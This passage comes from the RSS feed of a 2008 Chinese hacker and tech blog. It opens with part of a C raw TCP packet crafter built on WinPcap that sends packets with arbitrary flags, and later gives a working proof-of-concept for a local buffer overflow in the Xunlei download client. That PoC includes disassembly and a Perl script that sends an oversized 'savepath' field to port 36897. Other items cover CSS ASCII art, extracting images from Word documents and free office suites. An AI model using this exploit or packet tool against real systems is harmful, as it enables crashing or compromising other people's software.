/&gt;&amp;nbsp;if( (argc != 3) &amp;amp;&amp;amp; (argc != 4) )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;Usage( argv[0] );&lt;br /&gt;&amp;nbsp;exit( -1 );&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;int Flag = 2;&lt;br /&gt;&amp;nbsp;if( argc == 4 )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;Flag = 0;&lt;br /&gt;&amp;nbsp;if( strchr(argv[3], &amp;#39;U&amp;#39;) || strchr(argv[3], &amp;#39;u&amp;#39;) )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;Flag = Flag | 32;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;if( strchr(argv[3], &amp;#39;A&amp;#39;) || strchr(argv[3], &amp;#39;a&amp;#39;) )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;Flag = Flag | 16;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;if( strchr(argv[3], &amp;#39;P&amp;#39;) || strchr(argv[3], &amp;#39;p&amp;#39;) )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;Flag = Flag | 8;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;if( strchr(argv[3], &amp;#39;R&amp;#39;) || strchr(argv[3], &amp;#39;r&amp;#39;) )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;Flag = Flag | 4;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;if( strchr(argv[3], &amp;#39;S&amp;#39;) || strchr(argv[3], &amp;#39;s&amp;#39;) )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;Flag = Flag | 2;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;if( strchr(argv[3], &amp;#39;F&amp;#39;) || strchr(argv[3], &amp;#39;f&amp;#39;) )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;Flag = Flag | 1;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;//GetLocalIP( );&lt;br /&gt;&amp;nbsp;if( -1 == GetDevices( ) )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;exit( -1 );&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;//printf( &amp;quot;Adapter is %s, ip is %s\n&amp;quot;, InterfaceName, LocalIP );&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;if( -1 == GetGateWayMac( ) )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;exit( -1 );&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;//printf( &amp;quot;Gateway IP is %s\n&amp;quot;, GatewayIP );&lt;br /&gt;&amp;nbsp;//printf( &amp;quot;Gateway Mac is %x\n&amp;quot;, *GatewayMac );&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;memcpy( EtHeader.eh_dst, GatewayMac, 6 );&lt;br /&gt;&amp;nbsp;memset( EtHeader.eh_src, 0xa, 6 );&lt;br /&gt;&amp;nbsp;EtHeader.eh_type = htons( IP_PROTO );&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;IpHeader.h_verlen = (4&amp;lt;&amp;lt;4 | sizeof(IpHeader)/sizeof(unsigned int));&lt;br /&gt;&amp;nbsp;IpHeader.tos = 0;&lt;br /&gt;&amp;nbsp;IpHeader.total_len = htons(sizeof(IpHeader)+sizeof(TcpHeader));&lt;br /&gt;&amp;nbsp;IpHeader.ident = 1;&lt;br /&gt;&amp;nbsp;IpHeader.frag_and_flags = 0x40;&lt;br /&gt;&amp;nbsp;IpHeader.ttl = 128;&lt;br /&gt;&amp;nbsp;IpHeader.proto = IPPROTO_TCP;&lt;br /&gt;&amp;nbsp;IpHeader.checksum = 0;&lt;br /&gt;&amp;nbsp;IpHeader.sourceIP = inet_addr( LocalIP );&lt;br /&gt;&amp;nbsp;IpHeader.destIP = inet_addr( argv[1] );&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;TcpHeader.th_sport = htons( rand()%60000 + 1024 );&lt;br /&gt;&amp;nbsp;TcpHeader.th_dport = htons( atoi(argv[2]) );&lt;br /&gt;&amp;nbsp;TcpHeader.th_seq = htonl( rand()%900000000 + 100000 );&lt;br /&gt;&amp;nbsp;TcpHeader.th_ack = 0;&lt;br /&gt;&amp;nbsp;TcpHeader.th_lenres = (sizeof(TcpHeader)/4&amp;lt;&amp;lt;4|0);&lt;br /&gt;&amp;nbsp;TcpHeader.th_flag = Flag;&lt;br /&gt;&amp;nbsp;TcpHeader.th_win = htons(512);&lt;br /&gt;&amp;nbsp;TcpHeader.th_sum = 0;&lt;br /&gt;&amp;nbsp;TcpHeader.th_urp = 0;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;PsdHeader.saddr = inet_addr( LocalIP );&lt;br /&gt;&amp;nbsp;PsdHeader.daddr = IpHeader.destIP;&lt;br /&gt;&amp;nbsp;PsdHeader.mbz = 0;&lt;br /&gt;&amp;nbsp;PsdHeader.ptcl = IPPROTO_TCP;&lt;br /&gt;&amp;nbsp;PsdHeader.tcpl = htons(sizeof(TcpHeader));&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;memcpy( Buffer, &amp;amp;PsdHeader, sizeof(PsdHeader) );&lt;br /&gt;&amp;nbsp;memcpy( Buffer + sizeof(PsdHeader), &amp;amp;TcpHeader, sizeof(TcpHeader) );&lt;br /&gt;&amp;nbsp;TcpHeader.th_sum = CheckSum( (unsigned short *)Buffer, sizeof(PsdHeader) + sizeof(TcpHeader) );&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;memset( Buffer, 0, sizeof(Buffer) );&lt;br /&gt;&amp;nbsp;memcpy( Buffer, &amp;amp;IpHeader, sizeof(IpHeader) );&lt;br /&gt;&amp;nbsp;IpHeader.checksum = CheckSum( (unsigned short *)Buffer, sizeof(IpHeader) );&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;memset( Buffer, 0, sizeof(Buffer) );&lt;br /&gt;&amp;nbsp;memcpy( Buffer, (void *)&amp;amp;EtHeader, sizeof(ET_HEADER) );&lt;br /&gt;&amp;nbsp;memcpy( Buffer + sizeof(ET_HEADER), (void *)&amp;amp;IpHeader, sizeof(IP_HEADER) );&lt;br /&gt;&amp;nbsp;memcpy( Buffer + sizeof(ET_HEADER) + sizeof(IP_HEADER), (void *)&amp;amp;TcpHeader, sizeof(TCP_HEADER) );&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;char errbuf[PCAP_ERRBUF_SIZE] = { 0 };&lt;br /&gt;&amp;nbsp;pcap_t *fp;&lt;br /&gt;&amp;nbsp;if ( (fp= pcap_open( InterfaceName, 100, PCAP_OPENFLAG_PROMISCUOUS, 100, NULL, errbuf ) ) == NULL )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;fprintf(stderr,&amp;quot;\nUnable to open the adapter. %s is not supported by WinPcap\n&amp;quot;, InterfaceName );&lt;br /&gt;&amp;nbsp;return -1;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;if ( pcap_sendpacket( fp, Buffer, sizeof(Buffer) ) != 0 )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;fprintf(stderr,&amp;quot;\nError sending the packet: \n&amp;quot;, pcap_geterr(fp));&lt;br /&gt;&amp;nbsp;return -1;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;printf( &amp;quot;send ok!\nData is:\n&amp;quot; );&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;for( int i = 0; i &amp;lt; sizeof(Buffer); i ++ )&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;printf( &amp;quot;%02x &amp;quot;, Buffer );&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;return 0;&lt;br /&gt;} &lt;/div&gt;&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/woidiy/ddd5a8f6d79a7f688ff751fa9b29c55a&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/woidiy/ddd5a8f6d79a7f688ff751fa9b29c55a/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;&lt;br /&gt;&lt;!-- Feedsky flare --&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=459e4a764b04be5cb6ca4bea6af54850&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=459e4a764b04be5cb6ca4bea6af54850&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=a69e47a4c92b4d04e8d7c94308fa6bde&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=a69e47a4c92b4d04e8d7c94308fa6bde&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=08e6f24d342503a2af962ffd4469e9b6&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=08e6f24d342503a2af962ffd4469e9b6&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=9a205965f1c8b68de3651a835e5754c8&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=9a205965f1c8b68de3651a835e5754c8&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=aa27bb3c1f9ac94a4252a226e199300d&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=aa27bb3c1f9ac94a4252a226e199300d&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=8705a1659016b16ff71d6a5a5e925aee&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=8705a1659016b16ff71d6a5a5e925aee&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=ebc3aa4664080d47cf95232e31918b0b&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=ebc3aa4664080d47cf95232e31918b0b&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;!-- /Feedsky flare --&gt;</description><category>黑客发表</category><pubDate>Thu, 08 May 2008 16:43:48 +0800</pubDate><author>nt_family &lt;nt_family&gt;</author><guid isPermaLink="false">http://www.woidiy.com/blog/article.asp?id=496</guid><dc:creator>nt_family &lt;nt_family&gt;</dc:creator><fs:srclink>http://www.woidiy.com/blog/article.asp?id=496</fs:srclink><fs:srcfeed>http://www.woidiy.com/blog/feed.asp</fs:srcfeed><fs:itemid>feedsky/woidiy/~5937607/72278904/4066013</fs:itemid></item><item><title>基于CSS的ASCII艺术</title><link>http://item.feedsky.com/~feedsky/woidiy/~5937607/72278905/4066013/1/item.html</link><wfw:commentRss>http://www.woidiy.com/blog/feed.asp?q=comment&amp;id=495</wfw:commentRss><description>ASCII 艺术是一种使用计算机可打印字符（一般为ASCII码中的96个可打印字符）表现图形的一种技术，传统的 ASCII 艺术基于 HTML  代码，然而由于不同浏览器的差别，在一种浏览器下可以完美显示的 ASCII 艺术，到了别的浏览器就面目全非，Web2.0 时代，应该多在 CSS  上做文章，因为目前主流浏览器对 CSS 的支持都非常一致，使用 CSS 实现 ASCII 艺术可以更好地保持不同浏览器间的兼容。&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;
		&lt;p&gt;下面这个图很难想象是用 ASCII 艺术做出来的，当然为了简便，我使用的是图片，&lt;a href=&quot;http://www.romancortes.com/blog/homer-css/&quot;&gt;原始 ASCII 艺术版可在这里看到&lt;/a&gt;。&lt;br/&gt; &lt;br/&gt;&lt;img altsrc=&quot;http://www.comsharp.com/Writable/Resource/_Random_/2008-05-05/css_ascii_art_1.gif&quot; alt=&quot;&quot; src=&quot;http://www.comsharp.com/Writable/Resource/_Random_/2008-05-05/css_ascii_art_1.gif&quot; /&gt;&lt;br/&gt; &lt;br/&gt;&lt;a href=&quot;http://www.romancortes.com/blog/jpeg2css/&quot;&gt;jpeg2css&lt;/a&gt;&amp;nbsp;是一个非常有趣的程序，你提供一副黑白的 JPG 图片给它，几秒种之内，可以为你生成一个  HTML 网页文件，你可以在该网页上看到和源 JPG 图片几乎一模一样的 ASCII 艺术图形，而且是基于 CSS 的，你不用担心该 ASCII  艺术在不同浏览器间的兼容问题。&lt;br/&gt; &lt;br/&gt;&lt;strong&gt;更多基于 CSS 的 ASCII 艺术&lt;/strong&gt; （&lt;a href=&quot;http://www.romancortes.com/blog/bush-css/&quot;&gt;CSS 原始版可以在这里看到&lt;/a&gt;）&lt;br/&gt; &lt;br/&gt;&lt;img altsrc=&quot;http://www.comsharp.com/Writable/Resource/_Random_/2008-05-05/css_ascii_art_2.gif&quot; alt=&quot;&quot; src=&quot;http://www.comsharp.com/Writable/Resource/_Random_/2008-05-05/css_ascii_art_2.gif&quot; /&gt;&lt;br/&gt; &lt;br/&gt;&lt;strong&gt;jpeg2css 下载地址：&lt;br/&gt;&lt;/strong&gt;&lt;a href=&quot;http://www.romancortes.com/ficheros/jpeg2css.zip&quot;&gt;http://www.romancortes.com/ficheros/jpeg2css.zip&lt;/a&gt;&lt;br/&gt; &lt;br/&gt;本文素材来自：&lt;a href=&quot;http://www.romancortes.com/blog/tag/css/&quot;&gt;http://www.romancortes.com/blog/tag/css/&lt;/a&gt;&lt;br/&gt;&lt;a href=&quot;http://www.comsharp.com/&quot;&gt;COMSHARP CMS&lt;/a&gt;编译&lt;br/&gt;&lt;br/&gt;&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/woidiy/e3d2b5bb55906284c5520c5e9ed2f652&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/woidiy/e3d2b5bb55906284c5520c5e9ed2f652/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;&lt;br /&gt;&lt;!-- Feedsky flare --&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=0105ce25f9856f0b8d64d9c856f461d2&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=0105ce25f9856f0b8d64d9c856f461d2&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=01f85c02bd0e3463bbc0ac2a20102d5b&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=01f85c02bd0e3463bbc0ac2a20102d5b&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=981a25a8c907a5a252913894b67b6eba&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=981a25a8c907a5a252913894b67b6eba&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=f77c3551ac2cee2a873583f894fe5e7a&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=f77c3551ac2cee2a873583f894fe5e7a&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=5c033e9b8ea42178fb6d1e8a975fd348&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=5c033e9b8ea42178fb6d1e8a975fd348&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=d7b3306a64d4ad728edcb43d011016a0&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=d7b3306a64d4ad728edcb43d011016a0&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=152fe1cde01a35aad35ca4948b644657&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=152fe1cde01a35aad35ca4948b644657&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;!-- /Feedsky flare --&gt;</description><category>网海拾贝</category><pubDate>Wed, 07 May 2008 16:29:41 +0800</pubDate><author>nt_family &lt;nt_family&gt;</author><guid isPermaLink="false">http://www.woidiy.com/blog/article.asp?id=495</guid><dc:creator>nt_family &lt;nt_family&gt;</dc:creator><fs:srclink>http://www.woidiy.com/blog/article.asp?id=495</fs:srclink><fs:srcfeed>http://www.woidiy.com/blog/feed.asp</fs:srcfeed><fs:itemid>feedsky/woidiy/~5937607/72278905/4066013</fs:itemid></item><item><title>迅雷本地溢出POC</title><link>http://item.feedsky.com/~feedsky/woidiy/~5937607/72278906/4066013/1/item.html</link><wfw:commentRss>http://www.woidiy.com/blog/feed.asp?q=comment&amp;id=494</wfw:commentRss><description>以前一直在传迅雷还有0day，Activex的应该差不多了，但是也不敢怠慢，还是卸载之，今天丰初发来一URL，原来素一迅雷0day，看说明还是远程！感觉装了一个，看那个漏洞监听的端口&lt;br /&gt;C:\&amp;gt;netstat -na|find &amp;quot;36897&amp;quot;&lt;br /&gt; TCP    127.0.0.1:36897        0.0.0.0:0              LISTENING&lt;br /&gt;&lt;br /&gt;绑定的本地IP啊？！那就说明这个是不可以远程的，只能本地了。&lt;br /&gt;......&lt;br /&gt;23132CBE    68 B4C61323     push    2313C6B4                         ; ASCII &amp;quot;savepath&amp;quot;&lt;br /&gt;23132CC3    57              push    edi&lt;br /&gt;23132CC4    FFD6            call    esi&lt;br /&gt;23132CC6    59              pop     ecx&lt;br /&gt;23132CC7    84C0            test    al, al&lt;br /&gt;&lt;br /&gt;......&lt;br /&gt;&lt;br /&gt;23132CEF    85FF            test    edi, edi&lt;br /&gt;23132CF1    74 02           je      short 23132CF5&lt;br /&gt;23132CF3    8BCF            mov     ecx, edi&lt;br /&gt;23132CF5    B8 D4C61323     mov     eax, 2313C6D4                    ; ASCII &amp;quot;XLDAP&amp;quot;&lt;br /&gt;23132CFA    50              push    eax&lt;br /&gt;23132CFB    52              push    edx&lt;br /&gt;23132CFC    51              push    ecx&lt;br /&gt;23132CFD    50              push    eax&lt;br /&gt;23132CFE    8D85 5CFEFFFF   lea     eax, dword ptr [ebp-1A4]&lt;br /&gt;23132D04    68 C0C61323     push    2313C6C0                         ; ASCII &amp;quot;%s|%s|%s|%s&amp;quot;&lt;br /&gt;......&lt;br /&gt;&lt;br /&gt;根据上面可以分析出来这个端口接受数据的格式是XLDAP|A|B|XLDAP，A是方法，B是值。又偷懒看了下介绍，问题出在savepath方法上，那么构造数据就很简单了，POC如下：&lt;br /&gt;&lt;br /&gt; #!/usr/bin/perl&lt;br /&gt;use IO::Socket;&lt;br /&gt;&lt;br /&gt;if ($socket = IO::Socket::INET-&amp;gt;new(PeerAddr =&amp;gt; &amp;quot;127.0.0.1&amp;quot;,PeerPort =&amp;gt; &amp;quot;36897&amp;quot;,Proto =&amp;gt; &amp;quot;TCP&amp;quot;))&lt;br /&gt;{&lt;br /&gt;$exploit  = &amp;quot;XLDAP|savepath|&amp;quot;.&lt;br /&gt;#    (&amp;quot;A&amp;quot; x 397).&lt;br /&gt;     (&amp;quot;A&amp;quot; x 500).&lt;br /&gt;     &amp;quot;|XLDAP&amp;quot;;&lt;br /&gt;&lt;br /&gt;       print $socket $exploit;&lt;br /&gt;                 sleep(1);&lt;br /&gt;                 close($socket);&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;                 print &amp;quot;Cannot connect to localhost:36897 port\n&amp;quot;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;如果用python写exp的话你会很郁闷，因为py总是会给偶多出一个换行，就算使用[:-1]这种方法也没用，郁闷，目前不清楚是传递的过程还是print的时候，谁知道是什么原因？&lt;br /&gt;23132D09    50              push    eax&lt;br /&gt;23132D0A    FF15 54E51323   call    dword ptr [&amp;lt;&amp;amp;MSVCRT.sprintf&amp;gt;]   ; crash&lt;br /&gt;23132D10    8D85 5CFEFFFF   lea     eax, dword ptr [ebp-1A4]&lt;br /&gt;就是在执行这步sprintf函数复制的时候导致crash。&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/woidiy/5d055a17d18293448b675214ed7b8f01&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/woidiy/5d055a17d18293448b675214ed7b8f01/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;&lt;br /&gt;&lt;!-- Feedsky flare --&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=4de19d278d52a24e63a6f06cfd7dada7&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=4de19d278d52a24e63a6f06cfd7dada7&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=b56f2fadeceee3f0c2fdad20d5907fb4&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=b56f2fadeceee3f0c2fdad20d5907fb4&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=4656abff6e5493fe048971fe00264594&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=4656abff6e5493fe048971fe00264594&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=e6b182fc4f96cde37f8ffada069e0a72&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=e6b182fc4f96cde37f8ffada069e0a72&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=69bf887d7de165553dda8271aec78f2d&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=69bf887d7de165553dda8271aec78f2d&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=8325cded0b8668cc3f785d8f7c441147&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=8325cded0b8668cc3f785d8f7c441147&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=3c0003178455f863d84284fcc3363847&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=3c0003178455f863d84284fcc3363847&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;!-- /Feedsky flare --&gt;</description><category>网海拾贝</category><pubDate>Wed, 07 May 2008 08:34:52 +0800</pubDate><author>nt_family &lt;nt_family&gt;</author><guid isPermaLink="false">http://www.woidiy.com/blog/article.asp?id=494</guid><dc:creator>nt_family &lt;nt_family&gt;</dc:creator><fs:srclink>http://www.woidiy.com/blog/article.asp?id=494</fs:srclink><fs:srcfeed>http://www.woidiy.com/blog/feed.asp</fs:srcfeed><fs:itemid>feedsky/woidiy/~5937607/72278906/4066013</fs:itemid></item><item><title>快速提取Word中的图片</title><link>http://item.feedsky.com/~feedsky/woidiy/~5937607/72278907/4066013/1/item.html</link><wfw:commentRss>http://www.woidiy.com/blog/feed.asp?q=comment&amp;id=493</wfw:commentRss><description>今天在做一个PPT，想到了一个素材，记得是在一个Word中，马上打开这个Word，和平常一样直接复制，奇怪是，我复制过去的是一个白底图片，只有一个大红X。&lt;br /&gt;&lt;br /&gt;这下把我郁闷了，咋就不能复制了？郁闷的我，把Wrod的图片选项打开看了又看，什么都没有啊。于是就把Word的选项打开看，刚打开文件，眼前一亮，看到了另存为网页，一个邪恶想法出现了。&lt;br /&gt;&lt;br /&gt;立马打开文件，另存为，把文件另存为了网页，到目录一看，多了一个文件名.file的文件夹，打开一看，HOHO，不都是这个Word文档中的图片，这以后可就又多了一个“盗版”的方法。&lt;br /&gt;&lt;br /&gt;另外，我还不知道那个word中的图片是怎么做成那样的，那位知道，给我留个言。&lt;br /&gt;&lt;br /&gt;点备案号边上的给我留言，或地址：&lt;br /&gt;&lt;a href=&quot;http://v3.tongji.cn.yahoo.com/note.html?unit_id=12713&amp;amp;url=http%3A//www.woidiy.com/blog/default.asp&quot; title=&quot;http://v3.tongji.cn.yahoo.com/note.html?unit_id=12713&amp;amp;url=http%3A//www.woidiy.com/blog/default.asp&quot; target=&quot;_blank&quot;&gt;http://v3.tongji.cn.yahoo.com/note.html?unit_id=12713&amp;amp;url=http%3A//www.woidiy.com/blog/default.asp&lt;/a&gt;&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/woidiy/ff5a1c780d770e15db53901236a11510&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/woidiy/ff5a1c780d770e15db53901236a11510/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;&lt;br /&gt;&lt;!-- Feedsky flare --&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=7147762271506b06f300bca44b71a247&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=7147762271506b06f300bca44b71a247&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=f28f51c08dc350d8f1836f9946754738&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=f28f51c08dc350d8f1836f9946754738&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=37df6aaf98d5df1c7fe0a9647b2dfc69&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=37df6aaf98d5df1c7fe0a9647b2dfc69&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=a2462084d5c49bf94ff4cef815256428&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=a2462084d5c49bf94ff4cef815256428&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=fba5e2ba60da22203e304e10829dfa30&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=fba5e2ba60da22203e304e10829dfa30&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=29f90e48994625e3f54347c5cc7834a3&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=29f90e48994625e3f54347c5cc7834a3&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=499f6d4c58e102709f187e3f7e297464&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=499f6d4c58e102709f187e3f7e297464&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;!-- /Feedsky flare --&gt;</description><category>技术研究</category><pubDate>Tue, 06 May 2008 12:26:08 +0800</pubDate><author>nt_family &lt;nt_family&gt;</author><guid isPermaLink="false">http://www.woidiy.com/blog/article.asp?id=493</guid><dc:creator>nt_family &lt;nt_family&gt;</dc:creator><fs:srclink>http://www.woidiy.com/blog/article.asp?id=493</fs:srclink><fs:srcfeed>http://www.woidiy.com/blog/feed.asp</fs:srcfeed><fs:itemid>feedsky/woidiy/~5937607/72278907/4066013</fs:itemid></item><item><title>6大免费Office办公套件</title><link>http://item.feedsky.com/~feedsky/woidiy/~5937607/72278908/4066013/1/item.html</link><wfw:commentRss>http://www.woidiy.com/blog/feed.asp?q=comment&amp;id=492</wfw:commentRss><description>&lt;p&gt;微软的Office办公套件是市场上占有率最高的办公软件,可是这款商业软件价格昂贵,正版对于大多数国内电脑用户来说都无法承受.不过近些年来MS 